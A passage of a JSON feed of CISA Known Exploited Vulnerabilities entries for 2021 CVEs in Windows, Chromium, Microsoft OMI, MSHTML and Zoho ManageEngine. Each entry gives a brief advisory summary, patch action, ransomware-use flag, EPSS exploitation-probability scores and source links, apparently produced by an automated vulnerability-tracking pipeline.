instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01482,"percentile":0.73772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-36742&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-36742","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-36742 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-36742&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-36742, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-36942","cveId":"CVE-2021-36942","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Local Security Authority (LSA) Spoofing Vulnerability","summary":"Microsoft Windows Local Security Authority (LSA) contains a spoofing vulnerability allowing an unauthenticated attacker to call a method on the LSARPC interface and coerce the domain controller to authenticate against another server using NTLM.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.66023,"percentile":0.99268,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-36942&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-36942","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-36942 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-36942&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-36942, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-36948","cveId":"CVE-2021-36948","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Update Medic Service Privilege Escalation Vulnerability","summary":"Microsoft Windows Update Medic Service contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.2327,"percentile":0.9776,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-36948&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-36948","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-36948 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-36948&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-36948, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-36955","cveId":"CVE-2021-36955","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability","summary":"Microsoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04071,"percentile":0.90608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-36955&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-36955","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-36955 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-36955&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-36955, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-37973","cveId":"CVE-2021-37973","aliases":[],"kind":"vulnerability","title":"Google Chromium Portals Use-After-Free Vulnerability","summary":"Google Chromium Portals contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability affects web browsers that utilize Chromium, including Google Chrome and Microsoft Edge.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Portals","stacks":["Google Chrome","Google","Chromium Portals"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11735,"percentile":0.9604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-37973&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-37973","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-37973 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-37973&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-37973, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-37975","cveId":"CVE-2021-37975","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Use-After-Free Vulnerability","summary":"Google Chromium V8 Engine contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.34887,"percentile":0.9842,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-37975&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-37975","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-37975 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-37975&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-37975, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-37976","cveId":"CVE-2021-37976","aliases":[],"kind":"vulnerability","title":"Google Chromium Information Disclosure Vulnerability","summary":"Google Chromium contains an information disclosure vulnerability within the core memory component that allows a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium","stacks":["Google Chrome","Google","Chromium"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.19901,"percentile":0.97405,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-37976&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-37976","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-37976 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-37976&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-37976, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-38000","cveId":"CVE-2021-38000","aliases":[],"kind":"vulnerability","title":"Google Chromium Intents Improper Input Validation Vulnerability","summary":"Google Chromium Intents contains an improper input validation vulnerability that allows a remote attacker to arbitrarily browser to a malicious URL via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Intents","stacks":["Google Chrome","Google","Chromium Intents"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04948,"percentile":0.92099,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-38000&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-38000","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-38000 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-38000&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-38000, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-38003","cveId":"CVE-2021-38003","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Memory Corruption Vulnerability","summary":"Google Chromium V8 Engine has a bug in JSON.stringify, where the internal TheHole value can leak to script code, causing memory corruption. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.38573,"percentile":0.98567,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-38003&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-38003","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-38003 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-38003&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-38003, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-38645","cveId":"CVE-2021-38645","aliases":[],"kind":"vulnerability","title":"Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability","summary":"Microsoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Open Management Infrastructure (OMI)","stacks":["Microsoft","Open Management Infrastructure (OMI)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02727,"percentile":0.85961,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-38645&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-38645","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-38645 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-38645&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-38645, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-38647","cveId":"CVE-2021-38647","aliases":[],"kind":"vulnerability","title":"Microsoft Open Management Infrastructure (OMI) Remote Code Execution Vulnerability","summary":"Microsoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Open Management Infrastructure (OMI)","stacks":["Microsoft","Open Management Infrastructure (OMI)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99933,"percentile":0.9997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-38647&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-38647","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-38647 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-38647&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-38647, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-38648","cveId":"CVE-2021-38648","aliases":[],"kind":"vulnerability","title":"Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability","summary":"Microsoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Open Management Infrastructure (OMI)","stacks":["Microsoft","Open Management Infrastructure (OMI)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11424,"percentile":0.95972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-38648&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-38648","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-38648 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-38648&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-38648, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-38649","cveId":"CVE-2021-38649","aliases":[],"kind":"vulnerability","title":"Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability","summary":"Microsoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Open Management Infrastructure (OMI)","stacks":["Microsoft","Open Management Infrastructure (OMI)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02887,"percentile":0.86782,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-38649&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-38649","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-38649 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-38649&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-38649, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-40444","cveId":"CVE-2021-40444","aliases":[],"kind":"vulnerability","title":"Microsoft MSHTML Remote Code Execution Vulnerability","summary":"Microsoft MSHTML contains a unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"MSHTML","stacks":["Microsoft","MSHTML"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9784,"percentile":0.99907,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-40444&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-40444","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-40444 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-40444&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-40444, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-40539","cveId":"CVE-2021-40539","aliases":[],"kind":"vulnerability","title":"Zoho ManageEngine ADSelfService Plus Authentication Bypass Vulnerability","summary":"Zoho ManageEngine ADSelfService Plus contains an authentication bypass vulnerability affecting the REST API URLs which allow for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Zoho","product":"ManageEngine","stacks":["Zoho ManageEngine","Zoho","ManageEngine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9896,"percentile":0.99929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-40539&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-40539","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-40539 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-40539&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-40539, scored 2026-10-25. This is a model estimate, not proof of 